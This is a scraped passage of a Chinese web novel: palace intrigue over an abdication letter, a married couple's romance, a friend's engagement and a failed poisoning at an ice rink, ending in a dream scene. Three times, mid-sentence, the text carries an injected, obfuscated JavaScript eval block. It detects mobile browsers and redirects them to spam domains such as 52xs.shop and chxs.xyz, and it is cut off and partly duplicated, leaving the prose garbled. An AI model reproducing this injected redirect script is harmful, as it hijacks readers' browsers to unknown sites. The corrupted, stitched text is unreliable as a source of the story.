兄长贤明,可担大任。 自请离京,永不回朝。 落款,是东宫失火的前三日! “怎么可能、不可能,不可能啊?!”贤文帝双目充血地盯着赵虚淮亲笔写下的让位书,紧咬着齿关,浑身打颤。 纪危舟望着崩溃无助之人,无悲无喜地轻声问道:“陛下可愿放过我了?” 贤文帝紧紧揣着帛书,痛哭失语。 “臣告退。”纪危舟双手作揖,恭而敬之地弯腰行拜,转身离开。 身后的哭声渐渐远去,他已迫不及待,想要见到一人。 * 天边黑云聚起,线雨落下,尘烟雨雾间,单薄瘦削的身影缓缓走来。 空洞的眸子倏然有了光彩,崔时清逆风奔向了他。 “不是送了衣袍,穿这么少作什么?是要修仙吗?!” 崔时清一掌拍在纪危舟的肩头,阻拦他求抱的动作,瞪了一眼身后双手空空的江南,只得勉为其难地张开双臂,为作死的蠢汉取暖。 “我唯愿与软软同在红尘,生生世世作对寻常夫妻。” 纪危舟笑着抱住了崔时清,单手提起兜帽,罩住她的脑袋,抱紧了衣裙上染了湿寒的女娘,阔步走到自家马车中。 解开有些潮湿的披氅,揽着崔时清于炉子前取暖。 “你在家里还能住上几日?”崔时清语气冷淡地问。 纪危舟捧着女娘冰凉的双手,一下下揉搓着,“我以后都待在软软身边,哪儿都不去了。” 崔时清眉眼微动,心底欢喜,面上却依旧冷淡矜持,“少说这些花言巧语,我不爱听。” 纪危舟知道她心中有气,温声说道:“既然软软不喜欢,那我以后便少说多做。” “你这张嘴,倒是会糊弄人。”崔时清靠在纪危舟的肩头,瓮声瓮气道,“说说罢,你是如何糊弄陛下的?他不会再找你麻烦了?” 纪危舟轻抚着崔时清的肩头,低声把帛书之事尽数道出。 开国勋贵、皇室宗亲,前朝老臣,各个如狼似虎。先太子赵虚淮仁善,但手段偏于软弱,他自知无力对抗这些虎狼,决意把储君之位让与庶兄。 但太子妃孟云希却不愿自此成为无权无势的王妃,守在边塞清苦度日。 她密谋暗杀秦王无果,便转而把刺杀之事嫁祸于夫君,更不惜杀夫弃子,以此投诚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14566461|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伯兄,只为成为天下至尊的女子。 两个心怀野心之人一拍即合,即便得偿所愿后两相厌恶,还是不得不扮演一对举案齐眉的天下夫妇表率。 不仅是因为结盟残害兄弟夫君的秘密,还为了告诉所有人,他们的选择没有错。 听完这段旧事,崔时清轻扣着纪危舟指节上微鼓的青筋,低语安慰道:“乱世用法,盛世用儒。先太子是生错了世道。” 纪危舟心中一暖,抬起女娘的下颌,望着她的眼睛,开口道:“我并非不信你。这其中牵扯了许多,当时我也不知应该从何说起,便擅自而为。但我真的知道错了,软软不要对我寒了心。” “错在何处?”崔时清垂下眸子,不去看他。 纪危舟躬着身子,抵在崔时清的额上,鼻尖相蹭了一下,闷声道:“我不该让你担心。” 崔时清思潮翻涌,抬头望进那双黑眸中,沉声问:“你想要那个位子吗?” 成为大帝,成为天下人的帝王,成为其他女娘的夫君。 “不,我害怕那个位子。”纪危舟目不转睛地看着崔时清,吐露了心声。 他害怕那把冰冷的椅子,害怕再次失去眼前的女子,害怕日复一日活在孤城中。 崔时清丢掉了浑身的戒备,紧紧靠在纪危舟的身上,感受着属于他的气息。 “当皇帝也没什么好的,有我在,必定管你锦衣玉食!”崔时清软声哄骗道。 “软软会对我好?不骗我?”纪危舟动作轻缓地摩挲着女娘的后颈软肉。 “会的,会的,不骗人。” …… 回到府中,崔时清推着纪危舟入浴房以后,便兀自靠在门外,竖着耳朵听着里面的动静,双手抚在心口上,感受着平稳的心跳声。 “真的回来了。” 崔时清嘟哝了一声,低头看了眼衣裙上细雨留下的痕迹与褶皱,急忙走到侧间梳洗换衣。 * “毒妇逆子!” 贤文帝一把推到赵晟真,用力扇了孟云希两个耳刮子。 “父皇,都是有人害我们,儿臣的手是好的,儿臣不是废人啊!”赵晟真扒拉着贤文帝的长靴,痛哭流涕。 贤文帝没有丝毫怜惜,抬脚踹开他,指着地上的嫡子怒斥道:“就你这样还妄想成为太子?你何德何能?!如何能配!” 孟云希把散落的头发抚至脑后,高傲地抬着下巴,冷眼看着贤文帝轻蔑道:“是啊,不配。你的儿子们、与你一样,皆是奴婢之后,如何配得上皇太子的尊贵?” “毒妇!都是你!都怪你!” 贤文帝高举手臂,踉跄地走上前,正要再次动手,孟云希灵巧地闪身躲过。 “怎么能全赖我了?你不嫉恨他吗?是你心胸狭隘、自私自利,暗中与他相争,才逼死他的!要不是你,我怎会沦落至此?我本该就是一国之后!我本该有天下人艳羡的夫君和儿子!本该如此!” 贤文帝急火攻心,双眼赤红,浑身上下如被烈火撩过一样,又痛又痒,喉咙中发出破碎怪异的喘气声,如同未开化的野兽,甚至无法清晰地吐出一个字。 “哦?淬仙丹断了好几日了。陛下不是把离虚藏在极宸殿了吗?他得了圣眷,理应为您分忧才是。” 孟云希轻笑着,瞥向了身边的秦嬷嬷。 “陛下病了,送他回极宸殿静养。” 95. 嫉妒 晨曦微露,崔时清累极睡下。 并不知这一夜禁军叛变,围困皇城,企图逼宫禅位。殿前都指挥使张毅及时从城外调来都护军,击杀叛臣,这才反转局面。 她醒来之时,已至晌午。 贤文帝颁布诏令。 皇后孟氏因朝堂后宫纷乱而忧心,自请入佛堂为天下百姓抄经祈福,贵妃蔡氏协理后宫。 “陛下为何不立储君?”因纪危舟在宫变的紧要关头还只顾着折腾她而生了会儿闷气,崔时清又忍不住开口问道。 “软软以为当立何人才好?”纪危舟轻啄着女娘的耳珠,拇指摩挲纤细莹白的肩颈。 崔时清思忖着,一时也有些为难。 即便她与赵洛行有些私交,但还是没有办法昧着良心说赵洛行会是一个合格的储君。 反而是…… 瞥了一眼暗戳戳搞小动作的人。 她在梦中见过大帝的风姿,平心而论,贤文帝的几个儿子都差了点,远不如眼前之人更适合那个位置。 “算了,谁当都行,与我们也无甚关系。”崔时清闷声道。 纪危舟听出她的言外之意,在发顶亲了亲,笑道:“确实,与我们也无甚关系。” 崔时清哼唧两声,懒洋洋地蜷在纪危舟怀中,没有继续谈论储位的心思。 “接下来京都也不会太平,我们不如提早出游?”纪危舟牵着崔时清的手,商议道。 “年关将至,外祖母和舅父恐怕不会赞同。”崔时清无端有些紧张。 纪危舟揉捏着她的后颈,“我会说服长辈的。” 崔时清没有吱声。 瞅着过分沉默的女娘,纪危舟温声道:“软软在犹豫什么?” “太冷了,行路也不太方便。”崔时清小声嘟哝。 “让工匠在车壁上加装挡风的皮子,每日走上几个时辰,若是乏了便下车扎营或借宿民居?” “……这些东西,你都想了多久?”崔时清瞪起眼睛,瞅着纪危舟。 “在牢里,我除了惦念软软,便是想着此事之后尽快安排你我出行,远远离了京都的这些糟污事。”纪危舟的语气有些沉闷。 崔时清发怔了须臾,余光不自觉地瞥向外间。 提前离京也没什么。 但亲眼见到那间暗室以后,再提及与纪危舟外出之事,她心底便有些打鼓。 自然!她也不是怕了这厮异于常人的念头! 只不过,有些事情还是不可操之过急,还得慢慢盘算着来。 “对了,我的镯子呢?该还我了吧!”崔时清生硬地转移了话题。 “出行——”纪危舟抿唇再问。 “过几日再定。”崔时清浑不在意地应了声,便伸手讨债。 这尚有商量余地的回答,让纪危舟也不再心急。 下榻走至外间,从暗袋中取出赤金掐丝嵌红宝石梅花镯。看着手中的镯子,纪危舟的眸光有些幽沉,指腹轻轻摩挲了一下,抛去了旧事,回到里屋。 “软软担心的不便,我都会尽力安排妥当,不让你受累的。” 崔时清斜乜着一脸正直的郎君,从他掌心取过镯子,为难道:“受累之事还好说。但我们成婚才一月有余,我便连年节也不陪在外祖母身边,她老人家还指不定会如何伤心呢。” “她老人家会谅解我们离京之举的。”纪危舟笃定道。 崔时清不服气地哂笑,“你比我更了解外祖母了?” 纪危舟眉目清正地淡笑道:“我了解的是长辈对你怜爱之心。” 崔时清瞅了他片刻,随手把镯子扔在枕边,双手抱臂道:“可我觉得,你就是不想让我与国公府亲近。” 纪危舟眨了下眼睛,颔首道:“是。” “果然!”崔时清盯着他,眉眼微扬,面上是抓到狐狸尾巴的激动。 “不止如此。”纪危舟把眼底的欲念都摊于阳光之下,任由崔时清打量翻看,继续说,“你是我贪恋的私心,如何要都不够,我又怎会不嫉妒可以分走你心神的其他人呢?” “……”崔时清面皮发烫,耳根通红,有些顶不住面前这双如炽火般热烈的目光。 她是想威逼着,让纪危舟自己招出暗室的秘密。 可不是要他语出惊人,不止一张嘴、连眼神动作都好似要把她吞吃入腹般骇人。 “你我还没用午食,让婢子摆饭吧。”崔时清认了怂,眼神闪躲地默默下了榻。 脚尖才刚够到绣鞋,纪危舟便长臂一伸,把人揽在了膝上。 “你、忍一忍!” 双手虚虚搭在郎君健硕流畅的胸肌上,崔时清咬牙切齿地低声道。 “软软还没应我。”纪危舟在女娘瓷白的颈上流连着,一寸寸轻吻。 “应什么?!”崔时清气急败坏,又不敢随意乱动,唯恐稍有不慎,擦枪走了火。 纪危舟慢声道:“软软可许我贪心?” 崔时清没好气地斜视着他,“你都说了是贪心,就该明白克制之道。” 纪危舟也不说话了,眼神定定地瞅着她。 分明是擒着人在怀的饿狼,却反而装成被欺辱的小郎君,无可奈何般抿唇受着委屈,看得崔时清直觉得自己是什么举世负心人。 她一提气,正要叫骂,张嘴半天却下不了口。长长吐了一口气,捧起纪危舟的脸颊,报复般用力地在郎君唇上重重碾了几下,看着压得殷红的唇瓣,消了点气,才嘴上服软道。 “行行行,许你贪心那么一点点。” “好,一点点。”纪危舟连眉梢都染上了笑意,带着慵懒的鼻音应道。 崔时清也说不好此人是好哄,还是难哄。 这古里古怪的脾性,难缠起来,比三岁小儿还要闹腾。但稍稍与他一些甜头,又乖得过头。 指尖戳了一下乖得过头的郎君,崔时清刻意板着脸指使道:“喊婢子摆饭去。” “好,软软等我。” 纪危舟偏头,在崔时清的指上亲了一口,眉目愉悦地放下她,大步走出里屋,安排饭食去了。 用过午食。 日头还不错,崔时清便与柳氏来小院中看看即将出阁的玄鱼。 玄鱼的女红不好,在尝试了几日以后,柳氏做主让绣娘替她筹备嫁衣。 没了这紧要的大事,又不必再做婢子的活计,她成天饱食终日、闲得发慌。 崔时清走进院子,看到的就是脸蛋圆圆鼓鼓,蹲在山鸡面前,目光呆滞的胖女娘。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14578350|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “……魂呢?”崔时清屈指在玄鱼的脑门上弹了一下,惊疑道。 玄鱼捂着脑门,目光从下至上,看到了逆着日光的倾城面容,一口气猛得窜入肺腑,腿脚一软,摔了个屁墩。 “主、主子!” 崔时清没料到几日不见,这小女娘竟越发木讷了,弯着腰,一言难尽地问道:“你不疼吗?” “……啊、不,有些疼。”玄鱼瘪了下嘴巴,讪讪然地瞅着她。 崔时清轻笑了两声,看向玄鱼身边的婢子,后者反应过来,忙不迭扶起她。 “马上要出阁了,怎么这副模样?”崔时清扫了眼这个地方,虽说不如正院,但柳氏也没有苛待了这未来的状元夫人。 玄鱼躬身答话道:“婢——” “嗯?”崔时清眼神微变。 柳氏连忙上前扶直玄鱼的身子,提点道:“你的身契已在官府销了册,不可再自称为婢。” “是。”玄鱼下意识低下头,又记起柳氏说过的话,便壮着胆子挺直脊背,望着崔时清诚心道谢,“县主的恩情,玄鱼绝不会忘。” “你只须记得,你是从我身边走出去的,若是任人欺辱,损的亦是我的颜面。”崔时清语气平淡。 恩情,她不想认。 毕竟之前几世,她于小婢子而言,才是这世间最大的恶人。 如今有此造化,也与她无关。 “是,玄鱼明白。” 崔时清看着玄鱼眼中的一丝忧色,开口道:“有什么需要,都可直言。状元郎心系于你,不该我给的,也会有他。” 柳氏担心玄鱼不懂,柔声再道:“万事都有县主和赵郎君,你只管安心待嫁,切勿忧思过重而伤了身子。” “是,有县主在。”玄鱼眼眶湿红地望着崔时清。 她不是不开心。 而是太过欢喜,以至于不敢相信,唯恐自己配不上所得的一切,唯恐转念而过,发现这些美好都是幻梦。 “你在我身边这些年也该知道,身边的人不中用便换了,没有主子来容忍婢子的道理。”崔时清瞥了一眼穿着精心打扮过的婢子。 这番意有所指的提点,让玄鱼和身后婢子的面色都徒然一变。 玄鱼正错愕着,柳氏便已招来粗使婆子压着欺主的婢子离开了院子。 崔时清语气淡漠地说道:“阿姆,这一次你带着她亲自来选可用之人。” 为婢十多年,怯懦的性子刻在骨子里,并不是一时半刻便可改变的。 如今敢试着直起身板,已是有了长进,再明白驭人之术,以后接过中馈,日子总差不到哪里去。 柳氏屈膝应声。 玄鱼忍下眼眶里的泪,亦微微屈膝,对着崔时清行了个女娘间的福身礼。 * 离开小院,郎君正捧着一卷书,靠在槐树下等着。 崔时清还没怪他黏人,他却先发制人委屈道:“我去书房挑本书不过转眼的功夫,软软却让我好等。” “……你是醋缸子转世吗?”崔时清好笑道。 “要是醋缸子,也是香醋。香中带甜,酸而不涩。”下巴支在崔时清的肩窝上,纪危舟粲然笑道,“你最喜欢的。” 崔时清:“……” 96. 魂断 鼓声澎湃、高昂激越。 彩球悬空浮跃,舞娘或是灵动或是娇俏,身姿飒爽、追逐踢踏,美的不可方物。 高台上蹴鞠舞不停,冰场中贵女亦伴着鼓乐悠扬飞舞。 “快来。” 衣袂飘扬,崔时清灿然笑着,回身抛出臂弯间的披帛。 下一瞬,蔡梦期眼明手快地扬手接住,在手上绕了两圈,借着拉扯的力道,阔步追跑。 寒风呼啸,周遭的景物倒逆消逝,越来越快,模糊无形。 丝绦彩带荡漾,笑语鼓声震颤,把这冰天雪地装扮得如春日灿烂。 “不行了,歇会儿——”蔡梦期扬声高呼。 伏低身子,崔时清缓缓减慢速度,带着蔡梦期离开主道,滑到了边缘。 “这才几圈,就不行了?”靠在栏柱上,崔时清扯回披帛,慢条斯理地整理着。 “我、我自入冬以来,都没这么累过!”蔡梦期用罗帕擦拭着额间湿濡的碎发。 “你就是太懒了,过几日随我出城跑马。” “不不不,又累又冻,我宁愿在暖阁里绣花!” 崔时清微眯着眸子,瞥了她一眼,意味深长道:“怎么绣起花了?” 她们都是爱玩、又不求女子上进的性格,相交多年,都没碰过几次女红,更不会无故提及绣花之事。 其中、有古怪啊。 “就、闲来无事。”蔡梦期眼神闪躲,连表情都透着不自在。 崔时清扬眉笑问:“我能信吗?” 蔡梦期咽了下喉咙,对手轻点着指尖,语气弱弱道:“我、也许,要定亲了。” “嗯!是何人?!”崔时清瞪圆了眼睛,唯恐再听到赵晨光之流的名字。 “就、也许是、李茶。”蔡梦期吞吞吐吐道。 崔时清迷茫地瞅着她,“李、茶是谁?” 蔡梦期深吸了一口气,忍着耳热,凶巴巴开口道:“昶!你乖孙儿!” “……”崔时清倒吸一口凉气,神情恍惚,欲言又止地瞅着蔡梦期。 “你不说点什么吗?”耳根的热意熏红了双颊,蔡梦期故作镇定地欣赏起高台上的舞姿。 崔时清为难地皱了皱鼻子,说:“李昶也有李昶的好,起码、他打不过你。” “是吧!我也这么想,以后家宅的事都由我说了算!”蔡梦期举起拳头挥舞了几下,满眼欢喜地看着崔时清。 “……”崔时清轻声问,“你家里答应了?” “许是赵晨光与他们的刺激太大了,我一提李昶,阿娘便喜极而泣,立马应了!”蔡梦期尴尬地挠了挠颈侧。 “没有骂你?”崔时清不敢置信。 “没呀!反而夸我从纨绔堆里挑了个顶好的!”蔡梦期窃笑了几声。 “这分明是骂得不轻啊。”面对友人没心没肺的模样,崔时清怜爱起蔡家的长辈们。 蔡梦期摆摆手,喜道:“怎会?!我阿娘向来疼爱李昶!这次亲上加亲,家里都很欢喜。” “都喜极而泣了?”崔时清面色古怪地问。 “是啊,都高兴哭了呢!”蔡梦期弯眸笑着。 看着蔡梦期满眼欢喜的模样,崔时清也跟着笑了起来,温声问:“何时会定下?” “还得等李昶把伤养好了,才能请喜婆子上门。”蔡梦期思忖道。 “什么伤?”崔时清微蹙眉头。 “御史阿伯以为他是乘人之危,要强娶了我,用戒尺抽得他皮开肉绽。”蔡梦期说着,想起那纵横交错的伤,忍不住压低声音,嘀咕道,“真是惨啊!身上没一块好皮子了!” “他怎么不解释啊?”崔时清面露诧异。 蔡梦期抱着手臂,有些后怕道:“御史阿伯嫌他吵,命人堵了嘴,才抽的。” 崔时清也忍不住害怕地搓了搓双臂上的鸡皮疙瘩,又后知后觉地反应过来,指着蔡梦期。 “你怎么知道他身上没好皮子了?” “他买通了小厮让我去求情,就、随便看了几眼。”蔡梦期讪讪然道。 “随便看的,怎还羞上了?”崔时清揶揄道。 蔡梦期娇滴滴地斜了她一眼,“好啦,总之事情就这样了,你不要取笑我了!” “好好好。”崔时清笑着摇了摇头,也没有再说其他。 蔡梦期低声问道:“时娘不赞同?” “不是,你们——”崔时清看着蔡梦期面上的红粉。 她没有不同意,但心底还是有些怅然。 几人少时相识,成日打狗斗鸡、玩耍胡闹,最是轻松自在。可待他们成婚以后,夫妻二人也不好继续如曾经那样,不管不顾地戏闹了。 “你们是什么时候生了情意的?”崔时清只问。 “我也不知我们之间有无男女之情,但与他在一起是快活的。”蔡梦期望着友人,笑道,“时娘不必担心,我们会过得称心的。” 称心、快活。 婚姻之事,有这二者,已是美满。 崔时清戏笑道:“要论担心,也是李蔡两姓长辈们担心了。” “……”蔡梦期把鬓边的乱发别到耳后,口吻娇蛮道,“对,长辈!我可不想随他孝敬上你,以后不许再应他姑奶奶的称呼了!” “孝敬自有孝敬的好处。”崔时清勾起唇。 蔡梦期默了须臾,好奇道:“什么好处?” 崔时清依靠在栏柱上,慢声细语道:“比如,你不是喜欢夜明珠吗?我库房里还有个与你脑袋一般大小的,可以——” “姑奶奶,我来孝敬您嘞!”蔡梦期一把扑在崔时清的身上,又蹭又揉,恨不得使出百般招式。 “……算了算了,你这个孙媳,不要也罢!”崔时清无奈到,只想断亲。 “夜明珠?”蔡梦期扬眉瞅着她。 “给!我回府就让人找出来,送到你家!”崔时清投降。 蔡梦期得偿所愿,也不忘最后孝敬长辈一回,娇滴滴地勾着崔时清的手臂,又蹭了下,软声道:“姑奶奶真好。” “住嘴吧你。”崔时清被孝敬地大翻白眼。 “嘿嘿!”蔡梦期只顾着乐呵。 崔时清遥望着冰场上飞舞的女娘们,“再跑两圈?” “不了,我们到春知乡品果酒吧。”蔡梦期摇了一下崔时清的手臂。 崔时清果断拒绝,“改日。” 蔡梦期的眼睛转了下,“纪家阿兄要来了?” “唔,快来了。”崔时清漫不经心地看了眼冰场的香钟。 “你们要去何处?”蔡梦期好奇道。 “许久没到永巷了,过去走走。”崔时清语气平淡,但唇角微扬着,连眼神都变得柔和了。 “我也想吃永巷的羊串了。”蔡梦期砸吧嘴道。 “让李昶陪你去。”崔时清冷情拒绝。 今日要是把蔡梦期也带上,她可没把握可以哄得好家里的醋缸子。 “你——” 蔡梦期噘着嘴,还没发挥她的缠功,身边响起了一个娇柔的嗓音。 “县主、蔡娘子,许久不见了。” 崔时清戒备地看着不知从何冒出的许悯儿,没有吱声。 蔡梦期也只略微颔首,没有想与她相交闲话的意思。 许悯儿面不改色地浅笑道:“过几日,奴家便要启程前往陇南,离开之前,想再见县主一面,还望您原谅奴家的唐突。” 林家老少皆命丧于陇南,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14611870|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终是要放下京都的一切,前往陇南收敛家人遗骸了? 看着许悯儿眉眼间的伤情,崔时清语气平平地祝福,“陇南路远,许娘子一路顺利。” “不知县主可否移步,在亭子里叙话几句?也许这是奴家与县主此生,最后私话的机会了。”许悯儿眼中含泪地望着崔时清。 “我们还有什么可谈的?”崔时清神色漠然。 “县主不想知道玉石的后续吗?” 崔时清看着她,没有开口。 “也是,你该是知道的,御花园的池底中铺满了这些玩意。只有我,把它们当作了珍宝。”许悯儿自嘲地笑着。 这是什么情况?蔡梦期睁大了眼睛,以眼神询问崔时清。 “县主。”许悯儿面上闪过一丝难堪,眼底带着乞求。 崔时清蹙着眉,实在是不想与孟云希的信徒再有牵扯。 许悯儿攥着掌心,又道:“你不觉得纪三公子变了许多吗?” 她抛出了诱饵,只等愿者上钩。 崔时清眉眼沉郁地看了许悯儿片刻,侧身与蔡梦期低语道。 “你先回去吧。” “时娘?”蔡梦期有些不安。 “改日再约。” 崔时清又道了一声,便换下冰鞋,带着云霞,随许悯儿来到亭子。 冰场女使已提前备好茶点,见许悯儿和崔时清入内,便燃起石桌上的茶炉,屈膝退下。 “县主请坐。” 崔时清没有和许悯儿煮茶对饮的念头,背身望着远处,“你还想说什么?” 釜子里的茶水是热的,炉火烧起,很快冒起了水泡。 茶香四溢,许悯儿失神了一瞬,与崔时清并肩而立。 “有件事情一直困扰着奴家,想请县主解惑。” 崔时清把玩着胸前的小竹笛,慢声道:“关于皇后娘娘的?” “县主聪慧。” 聪慧吗?比起孟云希,赵晟真在许悯儿心中不过是个儿时的梦境。 幻梦而已,哪里值当她如此费心了? 崔时清没有理会许悯儿的恭维,“想说什么便直说,弯弯绕绕地让人生厌。” 许悯儿余光扫向亭台外的婢子,加深了唇边的笑,轻语道:“县主可以告诉奴家吗?三公子与娘娘是骨肉至亲,为何要帮着外人来害生母呢?” “此话你怎么不去问问宫中那位娘娘?”崔时清忍着已到嘴边的刻薄,冷声道。 许悯儿转身走到了石桌前,提起茶釜,目光深深望了一眼炉中的火焰,笑着斟了两盏热茶。 “我一直觉得三公子与传闻中相差甚远,直到此次,我看清了些许端倪。” “这是何意?”崔时清刚问完,心像是被什么攫住了一样,呼吸滞涩,连双脚都有些发软。 “但这些都无关紧要,我知道他的弱点便可。”许悯儿如鬼魅般,眸光阴鸷地痴笑着。 “你、做了什么?”崔时清察觉到身体的古怪,后退了两步,扶着檐柱,狐疑地盯着许悯儿。 云霞快步上前,“主子!” 崔时清的眼前有些模糊,她用力摇了摇头,把身体的重量都压在了云霞身上,恨声道:“你给我下了什么药?!” 许悯儿直愣愣地觑着旺盛的炉火,“这是我从西域换来的散魂香,三日魂断,有县主陪我走这一遭,奴家很欢喜。” 云霞立马反应过来,扶着崔时清走到亭外,衣袖遮掩口鼻,利索地熄灭炉火,压着同样浑身虚软的许悯儿出亭。 “娘娘没有错,错的是你们。” 迷迷糊糊间,崔时清听到了最后的一声执念,刚要出言训斥,一根牵引着她的丝线倏然断裂,她失去了全部意识。 97. 入梦 不知昏睡了多久,崔时清迷迷瞪瞪地转醒。 还没反应过来身处之地,便嗅到了熟悉的气息。撑在脊背上的大掌缓缓托起她,唇边抵上了一只瓷杯。 喝了几口温水,她蜷在纪危舟的臂弯间,望着俊朗的容颜,眼神有些迷离。 “用些粥米?”纪危舟擦拭着湿濡的唇瓣,温声问。 “……她呢?”崔时清的声音透着初醒的沙哑,浑身没劲,连说话都有些费劲。 纪危舟在崔时清的额间吻了吻,说道:她醒来以来,便自尽身亡了。” “自尽?不对,她凭什么比我早醒?!”崔时清不满道。 “自是用了些手段,才把她叫醒的。”纪危舟也不隐瞒。 这个曾对他下过毒,又来暗害崔时清的人,纪危舟没有半点留情。 突然之间,崔时清想起许悯儿抛下的诱饵,话里话外间的古怪。 凝视着纪危舟,她轻声问:“可说了什么?” “都是些疯话,没什么好探究的。”纪危舟厌恶地皱着眉头,“我告诉她孟云希再无翻身的可能,她便受不住刺激,咬舌自杀。” 崔时清深吸了一口气,怒声道:“左右不过三日便会一命呜呼,她急什么?” 散魂香。 她曾在古籍里看过,这是西域王室的秘药,一旦沾染,便会昏沉嗜睡,最终在梦魇中断气身亡。 如此邪性的毒药,许悯儿是存心不想让她好死。 偏偏眼下,此人提前自杀,她没有鞭尸的癖好,怕是要把这口气带入地府了! “玩了一辈子鹰,最后被鹰啄瞎了眼睛!”崔时清憋屈地叫骂着,生生气红了双眼。 纪危舟瞧出崔时清的委屈,连忙轻抚她的脊背,解释道:“她用的是麻沸散,并非散魂香。软软没有中毒,身子很康健!” “……麻沸散?!”崔时清木讷地眨巴着眼睛。 “是,是麻沸散。”纪危舟抱紧了崔时清,心中存着庆幸。 好在,他一早便把许悯儿藏的散魂香换成了普通的麻沸散。让人昏沉欲睡的药效,亦让那个疯魔的人放松了警惕,不至于造成更大的伤害。 “怎、不至于吧?她买到假药了?”崔时清坐直了身子。 知道自己没有中毒以后,手脚也不乏力了,浑身都是劲儿。 “或许。散魂香极为珍贵,哪里是那么好得的?”纪危舟语气含糊地猜测着。 “也是。”崔时清点了点头,仰头满眼期待地瞅着纪危舟,又问,“她知道药是假的,才气得要死?” “估计是。”纪危舟抚摸着崔时清的乌发。 崔时清眸子转了下,冷哼道:“还是便宜她了!” 她向来睚眦必报,从不是大度之人。许悯儿若是没死,她也不会轻易放过,不来几套酷刑,是不会让她好死的! 纪危舟看着女娘瘪着嘴,心有不甘的小表情,浅笑着,与其商量道:“狗急跳墙,他们在暗处,软软还须谨慎,若是有要出门便都带上我吧?” “带着你也无用呀!要是再遇上许悯儿这般癫狂的信众,不惜与我同归于尽,不是白搭了一个你?”崔时清撇嘴道。 “若是真有危险,我也想与软软并骨同葬。”纪危舟眉眼沉沉。 “可别。”崔时清捂着耳朵,一副听不得这话的表情,抢在纪危舟说话之前,又道,“我还没活够呢,不许说这些丧气话!” 纪危舟下颚紧绷着,没有吭声。 “好了,尽量带着你还不行吗?”崔时清看不得纪危舟沉闷的模样,指腹抚过他下巴上冒出的浅浅一层青色胡茬,做出了妥协。 “行。”黑眸似是洒进了暖阳,纪危舟环抱着崔时清,无声笑着。 望着被哄好的郎君,崔时清眼波微转,又补充道:“但不许你跟着的时候,也不能闹腾,晓得吗?” “晓得。”纪危舟没有再得寸进尺,顺从地点了点头,“软软想要我陪着,我便陪着。不想、便多带几名护卫出门。” “哦。”崔时清靠在他的肩臂上,闻着纪危舟身上冷松微苦清寒的木质香气,懒洋洋地半阖着眼睛,“只能明日再去永巷了。” “永巷就在那儿,跑不了,你我随时都能去的。”手掌托着女娘的后脑勺,轻轻揉搓着丝滑微凉的墨发,纪危舟的眼底聚起柔色。 “对,随时能去。”崔时清困得睁不开眼睛,面颊蹭了一下紧实健硕的臂膀,闷声道,“我还想歇一会儿,你、自个儿玩去吧。” 纪危舟依言扶着她躺下,俯身在崔时清的唇上印下一个吻,低语道。 “睡吧。” 回应他的是,愈发绵长的呼吸声。 * 许是麻沸散的作用。 崔时清睡得无知无觉,及至月夜,也没有醒来的迹象。 身体随着本能,翻了一个面,手掌摩挲着,勾到了压在枕下的梅花镯。 金玉的凉意传来,她的指尖蜷缩着想要摆脱透骨的寒意,但在睡梦中却不得章法,被那股不可抵抗的力量拉扯着,跌入了不见五指地深潭中。 “好冷。” 抱着自己,崔时清下意识想要往暖被里钻,但身体却不受控制轻轻摇摆着。 “怎么回事?”崔时清蹙眉睁开了眼,有些生气。 “……” 她眨了眨眼睛,用力搓了搓,瞪着面前这座空旷冷清的殿宇,懵怔地低下头,盯着透明的身体发怔。 “我又死了?” “呸!麻沸散死不了人!我、我这是又入梦了?” 崔时清捧着透明的手,不自然地摆动身子,探头搜寻,看到了一身玄色龙袍的大帝。 果然,她的魂体还是必须在此人两丈之内。 崔时清叹了口气,正想如何从这个梦里醒来,骤然被茶盏碎裂的声音惊了一下。 “吓死我了!”崔时清捂着心口,目瞪口呆地看着大帝脚边的碎瓷。 【为什么?】 崔时清倒抽了一口凉气,一副见了鬼的模样,四顾了一圈,惊声道:“不是!这个梦,怎么有声音了?!” 【你该死!】 崔时清兴奋地动了动身子,朝着茶室慢吞吞飘去。 许悯儿,又是许悯儿! 崔时清恨得牙痒痒,挥舞拳脚,与空气斗了半天,累得她直喘气,这才扫了眼蜷着身体,伏趴在桌子上的大帝。 顶着纪危舟那张漂亮得不像话的脸蛋,他正大口呕着血。 注视着这张熟悉的面孔,即便崔时清不断告诉自己,此人不是她的郎君,但她的心口依旧无法自抑地钝痛着。 【散魂香,西域剧毒!你这般不敬生身母亲之人,合该于噩梦中惨死!】 大帝目光麻木,平静地望着许悯儿,面如蒙尘的白玉,没有一丝光彩。 “……不是!不是假药吗?!”崔时清再次被吓得呆若木鸡。 狂风呼啸。 崔时清睁开眼睛,已身处于御书房中。 大帝死气沉沉地坐在书案前,掌中攥着一封书信。 崔时清从方才的骇然中缓过劲来,飘在大帝的面前,目光呆滞地盯着他。 这一盯,便是一炷香。 